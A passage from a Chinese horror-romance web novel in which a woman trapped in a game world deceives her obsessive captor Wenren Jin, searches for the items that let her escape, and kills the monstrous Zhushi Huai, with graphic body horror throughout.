季白正想得入神,闻人瑾的声音再次把她拉回了现实。 “你又在想什么鬼主意?” 季白回过神来就对上闻人瑾空洞的眼眶,他看起来是恢复正常了,如果忽略他那双可怖的眼睛。 闻人瑾似是意识到现在的样子不太好看,他别过头去不看她,倾身上前解开绑在季白嘴上的白绸。 他瘦削的下巴抵在她的头顶,眼前是他被鲜血染红的衣襟,清浅的呼吸声从上首传来,这里很安静,安静得让他的呼吸声震耳欲聋。 季白只觉得自己像是来到了某种大型野兽的巢穴,哪怕看不见他的脸,他的呼吸,他的气味也如影随形地跟着她。 季白简单的打量了一下四周,这里密不透风,却装饰讲究,生活中所需的东西一应俱全,像是一个专门打造的华丽囚笼。 闻人瑾把取下的白绸重新覆在自己的眼睛上,而后后退一步,低下头看她,嘴角还噙着一抹浅浅的笑。 “喜欢这里吗?” “这是我很久以前专门为你打造的房子。” “建造的工人都被我杀了,所以除了你我之外,没有第三个人知道这里。” 23 第23章 “你不杀我了?”季白问。 闻人瑾偏了偏头,“你很想死?” 季白笑了下,大大咧咧地往春榻上一坐,仰头说:“能活谁会想死呢?” 闻人瑾垂头不答,似乎是在考量着什么。 季白本想试探性地问问闻人瑾知道些什么,但转念一想,以闻人瑾现在的状态,若是试探不好,怕是又要发疯。 这里密不透风,关得严严实实,他要再发起疯,季白连跑都没处跑。 季白眼珠一转,坐在春榻上抱住闻人瑾劲瘦的腰身,故作心疼又愧疚地问:“你眼睛还疼吗?” 其实季白心里一点也不愧疚,虽然那双漂亮的眼睛被她毁了有点可惜,但谁让他要杀她呢。 “你也会心疼我?”闻人瑾低下头看她,“我以为你只会可惜没能杀了我。” 若是一般人听到对方这么讥讽她,早就不好意思再继续编瞎话哄人了,可季白不是一般人,她好似完全没听到一样。 她抓着闻人瑾的袖袍轻轻一拽,将人拽到了榻上,心疼地抚摸着他的眼周附近。 “一定很疼吧?对不起啊,你那么漂亮的眼睛让我毁了。” 季白说话时丝丝缕缕的热气落在他的脸上,染红了他的脸颊,他蓦地加重了呼吸,偏过头去。 季白自然没有错过他脸上的薄红,她故意又探头追了过去,身子半靠在他的胸膛上,垂下的青丝如羽毛般扫过他的喉结。 季白低下头看见他漂亮的喉结滚了滚,明明是杀人不眨眼的疯子,可现在却又纯情害羞得像是不经人事的小子。 季白故意问:“你怎么不说话?是还在生我的气吗?” 闻人瑾转过头看她,凌乱的衣袍和微红的脸颊也依旧无损他与生俱来的俊美与气质,像是一尊跌入泥水的玉雕像,虽然脏了,但也掩不住原本的风华。 “你不必哄我开心,无论你说什么,我都不会放你离开。”他抬手抚摸着她的脊背,指腹上沾染了她的体温已不似最开始的苍冷,但还是激得季白的后背阵阵发麻。 “我为什么要离开?能和你一起住在这儿,我高兴还来不及。”季白搂着他的脖子,在他的脸颊上亲了一下,笑眯眯地说,“我啊,最大的梦想就是当一个咸鱼了。” 闻人瑾皱了皱眉头*不太理解咸鱼是什么意思,但听她的语义应当和无所事事的米虫的意思差不多。 他想到这儿,嘴角扯出一抹讥讽的笑,显然对于季白说得话,他是一个字也不信。 但他也没有急着反驳,谁不愿意听一点好听的话呢? 哪怕知道她的亲昵,撒娇都是假的,他也乐在其中。 他突然庆幸他刚刚没有在一时冲动下杀了她。 季白试探性地摸上了覆在他眼睛上的白绸,柔声问:“让我看看你的眼睛好不好?” 季白说着就要去解他系在脑后的结,却被闻人瑾按住了手。 他语气平淡,“没什么好看的。” 季白暗想,这么谨慎,难道对闻人瑾来说他最重要的东西当真是这条白绸? 她也真够笨的,早就该想到的。 “可是你的眼睛受了这么重的伤,真的不用上药吗?” “你的白绸也脏了,该洗洗了,不然一直蒙在眼睛上,你的伤会更严重的。” “我帮你洗吧?” 闻人瑾握住她的手腕,低头看她,“你很想要这根白绸,为什么?” 季白的心蓦地漏跳了一拍,闻人瑾实在是太过敏锐,让她时常感觉自己所有的小心思在他面前都荡然无存。 她咽了口口水,笑着说:“毕竟是我弄伤了你,我只是……想为你做点什么。” “是么?”闻人瑾松开她的手腕,摸上了她心口的位置,心跳在他的掌心下雀跃地跳动着,“可是你的心跳却不是这么说的。” 他蓦地轻笑一声,“心跳这么快,你很心虚?” 季白打掉闻人瑾的手,故作娇羞地说:“你这样捂着我的心口,我当然会害羞啊。” “夫君真是一点都不懂女孩子。” 闻人瑾收回手,淡淡一笑不置可否。 “如果夫君这么不相信我,那就算了。” “我还省事了。” 季白嘴上这么说着,心中暗暗在想,不知能不能等闻人瑾睡着的时候偷过来。 闻人瑾侧过头解下覆在眼睛上的白绸,递给季白。 “娘子难得有这份心,为夫自然不能扫兴。” 季白傻愣愣地看着手里的白绸,有点不敢置信,他就这么简单的给自己了? 不会留有什么圈套吧? 不过转念一想,季白也明白了。 闻人瑾是笃定自己出不去,所以也就放心把这东西交给她了。 季白笑着说:“那我现在去给你洗。” 季白转身去了另一间蓄有水源的房间,房间里有一个小水池,清水顺着墙壁里的竹筒汩汩地流出来,池子里的水又顺着一个极小的缝隙流向不知名的去处。 季白边洗边在心里吐槽,就这破地方,住不了几天人指定要得病,不是这儿疼,就是那儿疼。 季白很快洗完出来了,可她看了一圈却不见闻人瑾的身影。 奇怪,闻人瑾呢? “闻人瑾?” 季白边找边喊,可空荡荡的房间里却没一个人回应她。 【别喊了。】 【闻人瑾出去了。】 消失许久的系统终于上线。 季白再次听见这个冰冷冷的电子音心中竟多了一分可靠的慰藉。 【他去哪了?】 系统没有回答。 季白撇了撇嘴,果然还是不能对系统抱有太大的期待。 【你刚刚去哪了,为什么我喊你没有回应?】 【我刚刚在修复bug。】 季白松了口气。 【我还以为闻人瑾可以屏蔽你和我的联系呢。】 系统嗤笑了一声。 【他还没有这个能力。】 季白感觉那个喜欢阴阳又有点傲娇的系统好像又回来了。 只不过它也太奇怪了,之前它还颇为共情他们,怎么现在又是一幅看不上的样子? 季白懒得去深究了,先问现下最紧要的问题。 【我已经拿到闻人瑾的道具了,你知道怎么离开这儿吗?】 【请宿主自行解决,任务期间,本系统不提供任何帮助。】 季白眯了眯眼。 【不提供任何帮助?】 【呵,那是谁在我将要被闻人瑾杀死的时候告诉我,他的弱点是眼睛?】 系统一时间哑口无言。 季白也已经习惯它一出事就装死的态度,继续追问。 【按你的说法,你已经算是违规了吧?】 【你们系统违规会有什么惩罚啊?】 【是我帮了你。】系统这句话说得有点咬牙切齿,【难道你打算恩将仇报吗?】 【对啊,我知道是你帮了我,所以你干脆就好人做到底再帮我一次呗。】 【你刚刚说你去修复bug了,什么bug?该不会是男主们能莫名知道我离开的bug吧?】 【那这可是你的责任,如果不是你工作失误他们也不会黑化,我也不会被关到这个鬼地方。】 【你总该为你的失误负责吧?】 季白这张嘴很会说话,下能说得了甜言蜜语哄人,上能据理力争的味自己争辩。 她这张嘴哪怕没理都要争三分,何况如今还占着理。 系统很快妥协了。 【往右走,看见花瓶了吗?左转三圈,右转三圈。】 季白在系统的指挥下很快成功从那间囚笼里逃出来了,顺利到让她都有点不敢相信。 【闻人瑾到底去做什么了?他等会不会又突然出现吧?】 【你抓紧时间,他去看望褚师怀和羽生了。】 季白有点惊讶,闻人瑾好端端地为何要去找他们? 难道是去探望他们死没死,没死的话再加把柴? 季白很快又回到了提交道具的地点,闻人瑾先前给的玉佩和羽生的戒指,她都一直贴身放着,唯有褚师怀的弓太大了,就被她藏在了某个灵牌的后面。 她把道具依次取出放在地上,把闻人瑾的玉佩换成了白绸。 【这一次的道具总该对了吧?】 系统沉默了很久,不用它再回答,季白也知道又错了,不然眼下她已经回家了。 她再好的心态也快要炸了。 怎么又不对?!到底哪不对?! 这白绸难道不重要吗? 闻人瑾天天戴着,还宝贝成那个样子,难道不是他最重要的东西吗? 【宿主,你抬头看向三点钟的方向。】 系统冷漠的声音突然再次响起。 季白不解的依言照做,结果就在上首的楼梯上看见一抹熟悉的白色身影。 他静静站在那儿看着她,不知看了多久,不知在想什么。 季白的心都快炸了。 【他来了多久?你不是说他走了吗?】 【天杀的!你这个系统是不是故意添乱要整死我啊!】 上一次闻人瑾在这儿发现她的时候,就疯了似得要杀她,好不容易哄好了,结果又被抓住了,这怎么玩? 道具也始终找不到正确的。 季白现在严重怀疑根本就没有所谓的正确道具,系统就是要让她永远困在这儿。 幸运的是,这一次的闻人瑾看起来淡然了很多。 他一步步地走到她面前,问:“你怎么出来的?” 他说着又看了一眼地上摆放着的东西,有褚师怀的弓,羽生的戒指和他的白绸。 在闻人瑾将要说出第二句话的时候,季白率先哭着扑到闻人瑾怀里。 “你去哪了,我刚刚到处找你都找不到,呜呜呜,你把我一个人留在那个黑漆漆的地方,我真的好害怕。” 24 第24章 季白委屈害怕的声音在空荡荡的祠堂不断回响,可她的示弱与眼泪却没换回闻人瑾的半句怜惜。 他站在阶上任由她抱着,仿佛一尊没有生气的玉像。 季白把头埋在他的怀里,不敢看他的神色,只觉他身上的温度与她刚刚摸过的牌位是一个温度。 一样的冷,一样的毫无气息。 就在季白以为闻人瑾不会说话的时候,耳畔突然响起他低沉的声音。 “找我?” 他嗤笑一声,用脚踩住地上的弓箭,木质的弓身禁不住他这一脚,只听“喀嚓”一声,褚师怀的弓断了。 季白的心仿佛也被他这一脚踩得稀巴烂。 毁坏的道具还能用吗? 闻人瑾抬手拥住她的腰身,指尖顺着她的脖颈一路向上停在她的脖颈,像逗猫似得轻抚着。 “你上一次出现在这儿,我感受到了你的灵魂即将离开的信息。” “你这一次又出现在这儿,是不是又想离开呢?” 季白的心疯狂鼓动着,她知道他不会信她的话,但她只要咬死不承认,他也不能拿她怎么样。 只要不死,总会有机会。 可下一秒闻人瑾在她耳朵说出的话,彻底将她的心打入谷底。 “我虽然不明白你是怎么做到的,但我想帮助你的东西也不是毫无代价的吧?” “让我猜一猜,它是不是要你拿到我们三人最重要的东西,方肯再次带你脱离这个世界?” “可你这一次又错了。” 季白没有想到他已经聪慧到了这种程度,竟轻而易举地猜到了她的任务,她离开的方式,那么她的来历,他应该也猜到了吧? 季白从他的怀里抬起头,收敛了脸上刻意的讨好与示弱,第一次以平等的态度看着闻人瑾的脸。 在此之前,季白一直把他们当做游戏里的人物。 无论喜欢也好,害怕也罢,她始终没有真正地把他们当成和她一样的人类来看。 在她内心的最深处,甚至有种隐隐的傲慢,认为他们不过是处在低维空间人为创作的生物而已,哪怕再优秀和她也是不一样的。 正是她心中的傲慢一步步把她逼到了如此的绝境。 她不该小看他们的。 “你早就知道了?” 闻人瑾没有回答她,只是静静看着她。 季白退后一步,面无表情地说:“那你也应该明白,我并不是你的妻子,你的妻子早就被你杀死了。” “如果你真的这么爱你的妻子,你应该放我离开,我走了,你的妻子或许还有再次回来的可能。” 闻人瑾低头笑了下,“不明白的是你。” “你就是我的妻子啊。” 他说着倾身向前凑到季白的脸边轻嗅着,“你为什么会认为我连自己的妻子都会认错呢?” 季白愣在原地,想起了系统的话。 为什么他和系统都坚定的认为她是原主? 可她明明是生活在现代的季白啊! 从小到大的经历都历历在目,在她长达二十多年的人生里没有一天是缺席的,她怎么可能是生活在副本世界的女人? 季白垂下眼帘稳住心神,尽量不被他的话所干扰。 闻人瑾可不是什么纯良的人,他惯会撒谎,这一次也说不好是为了留她的手段而已。 “我不是,我的记忆里没有你的存在。”季白说得斩钉截铁。 “是啊,你全都忘了。”闻人瑾轻抚着她的脸说,“其实在我得知你不记得过往的那一天早上我是真的开心过,我以为我能哄着你,骗着你同我举案齐眉,恩爱不疑。” 季白心里觉得好笑,一个最会说谎的人却想要别人对他不疑。 信任对她和闻人瑾这样的人来说比登天还要难。 “我知道你心软,不然也不会收留羽生。” “我学着他的样子对你示弱,你果然很喜欢这一套。” “只要你喜欢,我可以为了你一直装下去的。”他的手抬起她的下巴,指腹暧昧地摩挲着她的下唇,“可是你为什么一定要离开呢?” “那个我无法企及的世界就那么吸引你吗?” 闻人瑾话落低头重重吻了下去,吸吮啃咬,似是一头要将她拆吃入腹的野兽。 季白只觉唇上一痛,口腔里顿时弥散开丝丝缕缕铁锈般的血腥味,她不甘示弱地又咬了回去,闻人瑾似是愉悦地轻笑了一声,扣在她腰间的手又紧了紧,而后像动物舔舐伤口一般轻舔着她唇上的伤,低沉的声音宛若恶魔在蛊惑人类, “留下来好吗?我会为你奉上最好的一切。” “你认错了,我根本就不是你的妻子。” “你的性子是变了很多,但我绝不会愚蠢到连自己心爱之人的魂魄都认不出来。” “你只是忘记了。”闻人瑾温柔地抚摸着她的脸颊,“或许你还在另一个世界经历了一段完全不同的人生,但你始终是你,我不会认错。” 季白望着闻人瑾坚定的模样,自己都快要被他弄恍惚了。 难道她和原主真的是一个人吗? 可是她为什么完全不记得。 季白的大脑一时间被搅得一团乱,如果承认她和原主是一个人,那么她被系统选中的背后一定还隐藏着更大的阴谋。 算了,无论是不是,她现在最重要的事还是完成任务,离开副本。 她的时间本来就不多了,祠堂里不见日月,她根本不知道她在这儿又耽误了多少时间。 季白稳住心神,又换了一个办法对付闻人瑾。 “或许你说的是真的。”季白说,“可我现在全都不记得了。” 季白主动用脸蹭了蹭闻人瑾的掌心,温声说:“你是我见过最聪明的人,你猜得一点也没错,我来这里是有任务。” “其实并不是我想要离开。”季白说,“是它逼着我这么做的,如果我不照做,我会死的。” “闻人瑾,夫君,你帮帮我好不好?” “系统告诉我,只要我完成任务,它会给我一个奖励。” “等我完成任务,我让它再送我回来找你,好不好?” “到时候我们就能永永远远地在一起了。”季白踮起脚去亲他的脸颊,“说不好我还可以带你去我的世界看看呢。” 季白这番大饼画的是脸不红心不跳,振振有词,斩钉截铁,说得比真的还要真。 “小骗子。” 闻人瑾蓦然转过头看她,原本该落在他脸颊上的吻落在了他的唇上。 他长臂一伸,宽厚的手掌按在她的后脑勺上,抵着她的额头说:“你走了就不会回来了。” 季白正准备继续游说他,却见闻人瑾殷红的薄唇勾了勾,放在她脑后的手掌轻柔地抚摸着她的发丝。 “我可以告诉你,我给你的两样东西对我来说都不是最重要的。”他低了低头,看了地上一眼,“他们二人被你哄得很好,给的东西都是真的。” 季白握了握拳,她猜的果然没错。 闻人瑾这家伙看着端正出尘,实际上那心眼子比马蜂窝还多,一早就防着她了。 “我愿意给你一次机会。”闻人瑾覆在她的耳边低声说,“去找吧,那东西就在我的书房。” “如果你能找到,我就放你离开。” 季白猛地睁大眼睛不敢置信地望着闻人瑾,几乎怀疑自己是不是听错了,还是出现了什么幻觉。 闻人瑾竟然肯放过她了? 但她转瞬又开始怀疑这是不是闻人瑾的阴谋,毕竟这家伙的嘴里就没有几句实话,或许他的道具是对的,别人的道具是错的,又或许他的是错的,别人的也是错的。 季白咽了咽口水,拽着闻人瑾的袖袍撒娇道:“你书房里的东西那么多,到底是哪一件啊?你就好人帮到底,告诉我吧。” 闻人瑾直起身子,嘴角勾出一抹笑,“我说了,你敢信吗?” 季白:该死,她还真不敢信…… 闻人瑾抬手帮她理了理额角的碎发,明明脸上挂着笑意,可却有一种莫名的哀伤。 “可惜你忘了,不然你一定会知道,我最重要的东西是什么。” 季白的心蓦地跳了一下,胸腔里竟也涌上了一股难言的哀伤。 她还没来得及理清心中纷乱的情绪,闻人瑾就抬手推了她一把。 “去吧,你的时间……不多了。” 季白离开前回眸看了一眼仍留在祠堂的闻人瑾,他的身后闪烁着点点烛火,满墙的牌位沉默地注视着他们,他站在黑暗中仿佛是被困在那儿走不出来的怨灵。 季白收回视线,又一次在脑海中问系统。 【我真的是原主吗?】 系统没有回答她。 季白叹了口气,心想,或许等她完成任务就能知道所有的真相。 季白走出祠堂的时候,外面还大亮着,她一刻也不敢耽误地就往闻人瑾的书房赶去。 她刚穿过花园,就听身后传来一道熟悉又惊喜的声音。 “小白!我终于找到你了。” 她一回头就看见差点让她魂飞魄散的一幕,褚师怀的身体已经被人砍得四分五裂,可它们却还活着,身体的各个部位成了血淋淋的肉块还蠕动着朝她而来,一颗鲜活的头颅跳在肉块们的最前面。 季白大叫了一声,拔腿就跑,也亏得她心理素质还算不错,没有当场吓晕。 褚师怀的样子怎么看都不太正常,他已经成了一个怪物,说不好也会像刚刚的闻人瑾一样要杀了她。 季白只听身后“砰砰”跳动的声音顿了一下,死一般的寂静过后是他滔天的怒吼声。 “你要跑?” “你怕我?” “小白,你骗我!” 25 第25章 季白只恨爹妈少生了两条腿,让她跑得不够快。 她要是被褚师怀抓住,绝对没好。 不过,他嘴里喊的骗了他是什么意思? 季白本能觉得这事或许和闻人瑾脱不了干系。 【系统,褚师怀怎么变成这样了?】 【他自己蠢。】 【中了羽生与闻人瑾的圈套。】 季白闻言回眸看了眼追她的怪物,初见时,褚师怀虽然疯,可终究是一个风流俊朗的青年,可眼下别俊朗了,连基本的人形都没了。 全身上下也只剩一颗头颅还算完整,其余的血肉瘫软在地上蠕动着,好似一条条聚集在一起剥了皮的血蛇,让人只看一眼就觉毛骨悚然,双腿发软。 她的目光恰好与褚师怀的视线对上了,或者说,只要她一回头,就能对上他一直紧盯着她的目光。 蠕动的血肉托起他孤零零的头颅,苍白的脸上是刺眼的红,黑发迎风而动,他张大嘴巴冲她温柔地笑。 “你终于肯回头看我了。” “为什么要跑呢?” “你不是答应我会和我一起离开吗?” “你不是说无论我变成什么模样,你都会爱我吗?” 阴厉刺耳的声音宛若是野兽用利爪抓磨石板,听得季白心惊胆战,毛发悚然。 她不敢在乱想,连忙收回视线,加快了脚下逃跑的步伐。 褚师怀也真是够惨的,闻人瑾和羽生都想要他的命。 不过再惨也没她惨,三个男主没一个正常人不说,动不动还想要她的小命。 眼看前方无路可退,季白想也不想一头扎进水里,屏住呼吸潜在水下,快速往对岸游去。 季白快游到湖中央时,悄悄探出头往后观瞧,岸上静悄悄的,没有诡异的血肉,也没有血淋淋的脑袋。 褚师怀是跟丢她了吗? 季白没敢多看,连忙又潜到水下,加快了游动的速度,一口气游到对面的岸上,她没有立即跑,而是躲进了这附近的假山群里。 这里地势复杂,一个假山挨着一个假山,宛若迷宫一般,最方便她掩藏身形。 她钻进一个隐蔽的洞里,靠着石壁大口大口地喘息着。 她全身都湿透了,水滴顺着发尾与衣摆滴滴答答地往下落,很快,她的身下就汇成一条小小的溪流顺着她来时的石板路汩汩地往下流,一行湿漉漉的脚印在阳光下格外显眼。 哪怕是躲在山洞里,季白也不敢完全地放松下来,休息了一会攒足体力后又紧张地靠在山壁上观察着外面的动向,准备随时跑路。 若褚师怀从后面找过来了,她就从前跑,若从前找过来,她就往后跑。 幸亏现在是夏季,哪怕她全身都湿透了,也不会太冷。 季白等了一会,也没再看见褚师怀的身影。 山洞外风平浪静,碧绿的湖面上时不时泛起一圈圈的涟漪,偶尔还能听见几声蝉鸣。 季白瞅了一圈也没发觉有什么异常,心想,或许褚师怀找不到她已经走了。 她松了口气,抬脚就准备离开这儿,却突然感觉身后似有异动,霎时间,她全身的寒毛都立了起来,有种被怪物盯上的恐惧。 她捏了捏指尖,壮着胆子回头看去,身后空空如也,可那种被人盯着的感觉并没有随之消散,季白的心反而越发不安了。 她不敢再逗留,赶忙离开这儿。 直至她走到太阳底下,被火辣辣的阳光炙烤着,她心头的那股不安与恐慌方散了几分。 闻人瑾说他最重要的东西放在了书房,可书房她也去过一次,里面除了书籍外,各类珍奇的古玩摆件层出不穷,墙上也挂满了名家字画。 那么多东西,到底哪一样是闻人瑾最重要的东西? 季白突然想起她曾在书房看见的一本书,那本书就端端地摆在桌子上,它会不会是闻人瑾最重要的东西? 可季白又觉得不可能,一个盲人最重要的东西怎么可能会是书呢? 他又看不见。 虽然季白觉得闻人瑾的状态和盲人没什么关系…… 但谁会把一本书看做最重要的东西呢。 季白一边想着,一边就赶到了闻人瑾的书房。 院子里的下人还是照常做着自己的事情,好像完全察觉不到主家的异常一样。 季白一进屋先奔着书桌去,上次来时见过的那本书已经消失不见了。 她环顾一圈,准备先在书房里找找线索。 结果她找了半天,也没找到任何有用的线索。 若这儿是褚师怀的书房,或许还能找到一些信件啊,笔记之类的东西用来推断,可闻人瑾……不写字。 他所有的书都是干干净净的,连一个墨点都没有,至于信件之类的东西更是一样也没有。 季白完全抓瞎了,她一面翻腾着柜子,一面在心里询问系统。 【系统,在吗?】 【给个提示呗。】 【闻人瑾这么多东西,我怎么找啊?】 其实季白多少也有一点自己的推测,她推断闻人瑾最重要的东西可能和她有关。 不然他不会说出那句如果她都记得,一定会知道他最重要的东西是什么。 季白想到这儿,正准备出门去找屋外的仆从们问问看,背后突然又传来那种被猛兽盯上的不安感,好似有一双眼睛就在她的背后静静看着她,准备随时扑上来咬她一口。 一股不知从何而来的凉风拂过她的后颈,激得季白顿时起了一身的鸡皮疙瘩,房间里突然变得很静很静,屋外的蝉鸣声,下人的打扫声都消失不见了。 仿佛天地间只剩了她一个人,不……还有另一个人。 她看不见他,但他就紧贴在她的背后盯着她。 她咽了咽口水,不住地安慰自己,一定是错觉,等她转过头去背后肯定什么都没有。 对,肯定什么都没有。 季白怀着这样的心情,不安地转过头去,结果眼前这一幕差得吓得她当场去世。 一颗血淋淋的头倒吊着垂在她眼前,嘴巴一张一合地说着话: “小白在找什么?” “怀哥哥帮你啊。” 季白向后退了几步,握紧了手里唯一可以拿来暂时当武器的书。 这颗人头并不是凭空悬在空中的,是由一根血肉模糊的肉柱悬着他的脖子,肉柱的另一端缠绕在房梁之上,整个屋顶几乎都被褚师怀的血肉填满了。 季白只看了一眼,就觉头皮发麻,所以等于是她主动走进了褚师怀的身体里。 现在跑是来不及了,窗户和门都被急速扩张的血肉封上了。 她用尽量平静的语气试图和褚师怀交流。 “你……你是怀哥哥?天呐,你怎么变成这样了?” 季白假装自己是刚认出他,不可置信地捂住嘴,眼睛里迅速调出泪来, “这到底是怎么回事?” 褚师怀歪了歪头,那张依旧俊朗的脸上浮现一抹笑意,他也只剩一张脸能看了。 “我怎么变成这样了?” “你不知道吗?我是因为你啊。” 他的最后一句话说得又轻又暧昧,紧紧盯着她的双眼中是化不开的执着。 支撑着他脑袋的肉柱仿佛是流动的液体翻涌着推举着把褚师怀的头又送到她的面前,季白费了很大的力气才克制住想要动手的冲动。 这肉柱离近一看,季白更想吐了。 粉白夹杂的血肉中似乎还翻涌着黑色的小虫,她唯一庆幸的是已经变成怪物的褚师怀,身上并没有腥臭的血腥气,反而似是有一股幽暗隐晦的清香,似是某种花的气味。 “因为我?”季白一脸不解,打算装傻到底,“为什么是因为我?” 季白一面问着一面又小心谨慎地观察着褚师怀。 凡是生物都有弱点,哪怕是变成怪物的褚师怀也一定有他的弱点。 季白强忍着不适,仔细观察着褚师怀已经不能称之为身体的肉山。 终于,她发现在肉柱的某一段中仿佛包裹着一颗跳动的心脏,些许红光从血肉的缝隙中透了出来。 那里一定是他最致命的地方,季白垂下眼帘,余光不断梭巡着周围,寻找一个合适的兵器。 很快,她找到了。 她装作害怕的样子,一边哭泣一边往后退。 “怀哥哥,你不要吓我,到底发生什么事了?” “你怎么……怎么突然变成这幅样子了?” “你是死了吗?你死了留我一个人怎么办啊。” “我们说好要一起离开的啊,你怎么能丢下我?” 褚师怀被她突如其来的哭泣和一连串的质问,弄得当时怔在了原地。 显然只剩一颗脑袋的褚师怀,头脑并不怎么清楚。 非常的情绪化,也非常的好哄骗。 “你不知道发生了什么?” “到底发生什么了?”季白仰起头问他,“我今天去了一趟祠堂,闻人瑾突然和疯了一样要杀我,我好不容易逃出来结果又遇见奇怪的东西,现在就连你也变成……” 季白把怪物两个字咽了下去,“这样了……到底是怎么回事啊?” 她一面说着,一面背在身后的手已经抓住了宝剑的剑柄,只待他没防备的时候给他致命一击。 不知褚师怀是不是被这幅怪物的身体所影响,他陷入了迷茫之中,喃喃自语地说着。 “我就知道他们是骗我的。” “你明明答应了我会和我一起走,怎么会一个人离开呢。” 可没一会他又精神崩溃地嘶吼。 “不,你骗了我!” “你要一个人离开这儿。” “你要丢下我。” “不,不能让你离开,我要留住你,永远的留住你。” 【作者有话说】 26 第26章 褚师怀说着,那颗从肉柱上长出来的头游曳到季白的眼前,两颗灰白的眼珠子紧紧盯着她, “对,我要留下你。” “我要把你藏匿起来,让他们谁也找不到。” “你只属于我一个人。” 随着他逐渐清晰的声音落下,房间里响起了窸窸窣窣的声音,似是沙虫爬过树枝,毒蛇游过地面,季白眼睁睁看着他的血肉化成一条粗壮的蛇身蠕动着缠绕在她的身上,血肉蠕动时带来软糯黏腻的触感,仿佛整个人被拼凑在一起蠕动的碎肉所包裹。 季白强压下恐惧与恶心,声音颤抖地问:“你……你想吃了我?” 他这个动作太像是大型蛇类捕猎时的绞杀,待猎物骨裂窒息而亡后,就将其一口吞入腹中。 褚师怀轻笑一声,似是在笑这个问题的愚蠢,又似是因自己的身体可以紧紧包裹着她的身体而感到愉悦。 他的头埋在她的颈间,痴迷地嗅闻轻蹭着,湿漉漉的吻痕一路从耳朵尖蜿蜒至锁骨, “我不会吃你。” “我只是想把你藏起来。” “藏在我的肚子里,好不好?” 这和吃掉有什么区别?! 季白握紧了剑柄,但却不敢轻举妄动,她必须要一招制敌。 “以后我在哪,你就在哪。”血肉幻化成两个黏腻的触手捧上了她的脸,柔软湿滑的唇轻飘飘地落在了她的唇上,“我们再也不分开。” 褚师怀话落,季白就感觉自己被遮天盖地的碎肉所淹没,粉白的肉沫如同小虫一般争先恐后地钻进她的耳道,口腔,要命的窒息感与恶心的饱胀感折磨得她快要死掉。 她大喊了一声:“褚师怀。” 褚师怀停下了动作,钻进她体内的肉虫又如潮水般褪下,好像刚刚所有的一切都只是她的幻觉。 可眼前紧紧缠绕着她的粉白相间的蛇身却无比真实地提醒她,所有的一切都是真的。 他歪了歪头,灰白的眼珠恢复了几分神采。 “小白是有话想和怀哥哥说吗?” “小白无论想说什么,怀哥哥都听着。” 可怖的模样,温柔的语气,让这一切都显得十分的荒诞与恐惧。 季白绞尽脑汁,试图能说点什么吸引褚师怀的注意力。 她伸出被吓得冰冷的手摸上褚师怀的脸,这张艳丽妖冶的脸上还残留几道干涸的血痕,她轻轻用手拂过,试图擦掉他脸上的血迹。 褚师怀像是一只突然被人类抚摸的小动物,他怔在原地,歪着头看着她,似乎有点不解刚刚还很害怕的人,怎么突然间敢大着胆子摸他了? 他想不明白,也懒得去想,漂亮勾人的眼睛半眯着,似乎是很享受季白的触摸。 季白也没想到,她还没说话,只是一个主动的触碰就让褚师怀冷静了下来。 她悄悄握紧了剑,笑着说:“闻人瑾刚刚也想要杀我,我拼了命地跑出来,为此我还毁了他的一双眼睛,但你杀我,我心甘情愿。” 褚师怀的眸子闪了闪,细看之下眼底似乎还含着泪,粉白的触手抚摸着她的脸庞,留下一道浅粉色的水痕。 “临死前我只有一个问题想问你,怀哥哥,你究竟为什么变成了这样?” “你说是为了我,到底是发生了什么事?” 褚师怀沉默了很久,不知是在回忆还是在思索。 季白却垂下眼帘观察着缠在自己身上的肉柱,终于,她又看见了那颗掩藏在肉里的心脏。 她正欲拔剑捅去,褚师怀却突然动了。 她吓了一跳,以为是自己的意图被发现了,却见褚师怀伸出触手抱住她,下巴抵在她的头顶,轻声说:“你不记得了,不记得也好,不是什么值得开心的事。” “所有的风雨都过去了,我现在终于有能力可以永远留下你了。” 就在褚师怀抱着她倾诉衷肠时,季白反手抽出宝剑,以迅雷不及掩耳之势重重把剑插/入肉里,剑锋刺中那颗跳跃着的心脏。 季白只听得一声刺耳凄厉的尖叫在耳畔响起,鲜红的血崩裂而出溅在她*的脸上,带着一股奇异的暗香,季白怕有毒,屏住了呼吸不敢多闻。 一股阴风拔然而起吹得季白险些站定不住,她紧咬着牙,双手紧握着剑柄又把剑身送进去了一寸,剑下如蛇一般的肉身开始剧烈挣扎。 褚师怀的脸扭了过来,神色狰狞,目眦欲裂地瞪着她。 这张唯一能看的脸也变得分崩离析,似乎是有人在无形中对着他的脸连劈了数十下,砍得血肉模糊,只剩一双眼睛在血肉白骨中不甘地瞪着她。 “你又骗我,说什么心甘情愿,全是骗我的。” “你变心了,你是不是爱上他了?你说话啊!” “你背弃了我们的誓言,你这个……骗子!” 季白把全身的力气都用在手中的剑上了,生怕这一剑没能要了他的命,反而激怒他。 “你不也想杀我吗?”季白抬起头看着那双青灰色的眼睛,扬眉笑了笑,“怎么轮到我杀你就是骗子了?” “你要相信我是爱你的,我杀你也只是想把你留在我身边啊。” 季白用他们的思维说出了这句话。 “你就安心去吧,哪怕你死了,我也会一直一直记得你的。” 季白话落,又一用力,只见那颗心脏彻底被她刺穿,停止了跳动,一瞬间所有拼凑在一起的血肉彻底散开,像是一栋倒塌的大厦。 其中一部分肉虫似乎是不甘心就这么死掉,疯狂地在地上蠕动着,但动得越快,消失的速度也越快。 “小白,你总是学什么都很快……” 在这最后一刻,他仿佛恢复了神智,含笑明朗的声音在安静的房间里经久不散,但他的身体却已经消失了。 满室的血肉仿佛从未出现过一样,只留下一捧断裂的白骨。 季白握着剑靠着墙壁剧烈地喘息着,她死死盯着那捧白骨,生怕他又会如同闻人瑾一般复活,可她等了很久,那东西依旧一动不动,似乎褚师怀已经彻底死去了。 闻人瑾晕倒后,肉身还完好无损,褚师怀却只剩一捧白骨,肯定没办法复活了吧? 她扔掉手中的剑,闭上眼睛开始整理纷乱的思绪。 异变后的闻人瑾和褚师怀都说她忘记了一些东西,她总觉得那些忘掉的东西不单单是指原主的记忆。 季白睁开眼睛又看了一眼褚师怀的尸骨,一个硕大的疑问盘桓在脑中经久不散。 只是因为知道她要走,一个人就能疯到异变成怪物吗? 哪怕这是一个诡异的游戏世界,这也实在是不合常理。 她总觉得异变后的褚师怀似乎是多出了一段不该有的记忆。 她想问问系统,但转念一想,以系统的作风肯定是不会告诉她了。 她先把问题压下,理了理身上凌乱的衣衫,准备出门去仆从那儿找点关于道具的线索。 屋里刚刚发生了那么惊悚的事,可庭院外的仆从们依旧照常在外打扫着,像是设定好程序的npc,又像是早就见怪不怪的麻木。 